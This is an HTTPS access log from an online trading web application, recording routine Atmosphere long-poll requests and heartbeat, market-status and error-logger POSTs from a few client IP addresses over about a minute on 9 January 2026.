[09/Jan/2026:09:54:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923913861 HTTP/1.1" -
[09/Jan/2026:09:54:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923913559 HTTP/1.1" -
[09/Jan/2026:09:54:05 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923914052 HTTP/1.1" -
[09/Jan/2026:09:54:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923929614 HTTP/1.1" -
[09/Jan/2026:09:54:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923918928 HTTP/1.1" -
[09/Jan/2026:09:54:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923918608 HTTP/1.1" -
[09/Jan/2026:09:54:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923934681 HTTP/1.1" -
[09/Jan/2026:09:54:11 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923920056 HTTP/1.1" -
[09/Jan/2026:09:54:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923923984 HTTP/1.1" -
[09/Jan/2026:09:54:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923923635 HTTP/1.1" -
[09/Jan/2026:09:54:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:54:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:54:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923939750 HTTP/1.1" -
[09/Jan/2026:09:54:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923929127 HTTP/1.1" -
[09/Jan/2026:09:54:17 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923926048 HTTP/1.1" -
[09/Jan/2026:09:54:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923928668 HTTP/1.1" -
[09/Jan/2026:09:54:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923944812 HTTP/1.1" -
[09/Jan/2026:09:54:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:54:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:54:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:54:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:54:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:54:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:54:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923934275 HTTP/1.1" -
[09/Jan/2026:09:54:23 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923932053 HTTP/1.1" -
[09/Jan/2026:09:54:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923933686 HTTP/1.1" -
[09/Jan/2026:09:54:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923949877 HTTP/1.1" -
[09/Jan/2026:09:54:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923939411 HTTP/1.1" -
[09/Jan/2026:09:54:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923938713 HTTP/1.1" -
[09/Jan/2026:09:54:29 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923938057 HTTP/1.1" -
[09/Jan/2026:09:54:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:54:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:54:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:54:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:54:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:54:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:54:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:54:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:54:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923955227 HTTP/1.1" -
[09/Jan/2026:09:54:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923944554 HTTP/1.1" -
[09/Jan/2026:09:54:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923943735 HTTP/1.1" -
[09/Jan/2026:09:54:35 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923944054 HTTP/1.1" -
[09/Jan/2026:09:54:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923961225 HTTP/1.1" -
[09/Jan/2026:09:54:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923949611 HTTP/1.1" -
[09/Jan/2026:09:54:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923948755 HTTP/1.1" -
[09/Jan/2026:09:54:41 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923950055 HTTP/1.1" -
[09/Jan/2026:09:54:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923954760 HTTP/1.1" -
[09/Jan/2026:09:54:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923967223 HTTP/1.1" -
[09/Jan/2026:09:54:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:54:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:54:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923953930 HTTP/1.1" -
[09/Jan/2026:09:54:47 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923956055 HTTP/1.1" -
[09/Jan/2026:09:54:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923959926 HTTP/1.1" -
[09/Jan/2026:09:54:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923973225 HTTP/1.1" -
[09/Jan/2026:09:54:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923958957 HTTP/1.1" -
[09/Jan/2026:09:54:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:54:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:54:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:54:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:54:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:54:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:54:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923965171 HTTP/1.1" -
[09/Jan/2026:09:54:53 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923962054 HTTP/1.1" -
[09/Jan/2026:09:54:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923963995 HTTP/1.1" -
[09/Jan/2026:09:54:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923979238 HTTP/1.1" -
[09/Jan/2026:09:54:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923970312 HTTP/1.1" -
[09/Jan/2026:09:54:59 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923968056 HTTP/1.1" -
[09/Jan/2026:09:54:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923969018 HTTP/1.1" -
[09/Jan/2026:09:55:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:55:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:55:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:55:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:55:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923985232 HTTP/1.1" -
[09/Jan/2026:09:55:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923975445 HTTP/1.1" -
[09/Jan/2026:09:55:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923974065 HTTP/1.1" -
[09/Jan/2026:09:55:05 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923974055 HTTP/1.1" -
[09/Jan/2026:09:55:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923990256 HTTP/1.1" -
[09/Jan/2026:09:55:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923980489 HTTP/1.1" -
[09/Jan/2026:09:55:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923979116 HTTP/1.1" -
[09/Jan/2026:09:55:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923995308 HTTP/1.1" -
[09/Jan/2026:09:55:11 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923980055 HTTP/1.1" -
[09/Jan/2026:09:55:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923985560 HTTP/1.1" -
[09/Jan/2026:09:55:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:55:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:55:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923984142 HTTP/1.1" -
[09/Jan/2026:09:55:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924000367 HTTP/1.1" -
[09/Jan/2026:09:55:17 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923986056 HTTP/1.1" -
[09/Jan/2026:09:55:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923990701 HTTP/1.1" -
[09/Jan/2026:09:55:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923989159 HTTP/1.1" -
